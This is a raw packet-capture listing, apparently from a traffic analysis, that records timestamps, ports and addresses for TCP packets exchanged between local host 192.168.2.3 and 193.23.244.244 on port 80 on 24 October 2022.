Oct 24, 2022 11:09:03.998517036 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998524904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998553038 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998553038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998580933 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998603106 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998616934 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998626947 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998651028 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998675108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998682022 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998699903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998718977 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998727083 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998754025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998759031 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998778105 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998800993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998815060 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998827934 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998853922 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998853922 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998883963 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998925924 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998941898 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.998953104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998979092 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.998985052 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999003887 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999034882 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999058962 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999066114 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999085903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999089956 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999110937 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999135017 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999160051 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999166012 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999185085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999191046 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999207973 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999241114 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999269009 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999280930 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999294996 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999319077 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999324083 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999342918 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999346018 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999367952 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999391079 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999393940 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999416113 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999439001 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999464035 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999464989 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999488115 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999500990 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999511003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999535084 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999536991 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999558926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999582052 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999599934 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999605894 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999629974 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999638081 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999655962 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999680996 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999686003 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999705076 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999728918 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999730110 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999766111 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999783993 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999789953 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999804020 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999809027 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999823093 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999839067 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999842882 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999861956 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999878883 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999892950 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999895096 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999912977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999917984 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999931097 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999948978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999953985 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.999967098 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999984026 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.999986887 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.000001907 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.000019073 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.000035048 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.000035048 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.000053883 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.000068903 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.000071049 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.000087976 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.000091076 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.000109911 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.000125885 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.000130892 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.000164986 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.006856918 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.006932020 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027275085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027307987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027327061 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027343988 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027364016 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027383089 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027400017 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027429104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027451038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027470112 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027487040 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027504921 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027522087 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027537107 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027555943 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027564049 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027571917 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027590990 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027611017 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027612925 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027631998 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027643919 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027652025 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027671099 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027687073 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027699947 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027705908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027724981 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027729988 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027743101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027760029 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027762890 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027779102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027795076 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027805090 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027812958 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027837038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027849913 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027858019 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027875900 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027880907 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027894020 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027910948 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027919054 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027930021 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027947903 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027949095 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.027965069 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.027982950 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028001070 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028006077 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028017998 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028031111 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028037071 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028054953 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028057098 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028073072 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028091908 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028093100 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028109074 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028126001 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028132915 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028142929 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028157949 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028162003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028182030 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028184891 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028198957 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028217077 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028234959 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028235912 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028254032 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028260946 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028271914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028290033 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028306007 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028316021 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028322935 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028341055 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028342962 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028358936 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028376102 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028378010 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028394938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028412104 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028414011 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028430939 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028436899 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028449059 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028465986 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028482914 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028500080 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028503895 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028517962 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028522968 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028536081 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028553963 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028569937 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028578043 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028588057 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028605938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028626919 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028644085 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028659105 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028660059 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028677940 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028688908 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028696060 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028713942 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028731108 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028747082 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028749943 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028762102 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028767109 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028785944 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028801918 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028814077 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028820038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028839111 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028857946 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028867006 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028875113 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028892994 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028898001 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028909922 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028923988 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028929949 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028949022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028965950 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.028970957 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.028984070 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029000998 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029016018 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.029017925 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029036999 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029053926 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029072046 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029073954 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.029090881 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029108047 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029110909 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.029124975 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029136896 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.029143095 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029161930 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029177904 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029186964 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.029196978 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029213905 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.029215097 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029234886 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029248953 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.029253006 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029273987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029290915 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029308081 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029325962 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029350042 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029360056 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.029376030 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.029387951 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.029467106 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.034141064 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056699991 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056737900 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056772947 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056838036 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056838036 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.056838036 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.056858063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056878090 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056896925 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056910038 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056936026 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.056977987 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.056999922 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057018995 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057039022 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057055950 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057069063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057081938 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057080984 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057080984 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057080984 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057096004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057115078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057128906 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057149887 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057149887 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057177067 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057194948 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057194948 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057202101 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057220936 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057235003 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057250977 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057281017 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057302952 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057317019 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057342052 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057353973 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057374001 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057399035 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057421923 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057425976 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057447910 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057455063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057482004 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057502985 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057526112 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057544947 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057559013 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057559013 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057568073 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057594061 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057605982 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057616949 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057641029 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057642937 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057666063 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057689905 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057691097 CEST	49701	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:04.057712078 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057734966 CEST	80	49701	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:04.057758093 CEST	80	49701	193.23.244.244	192.168.2.3
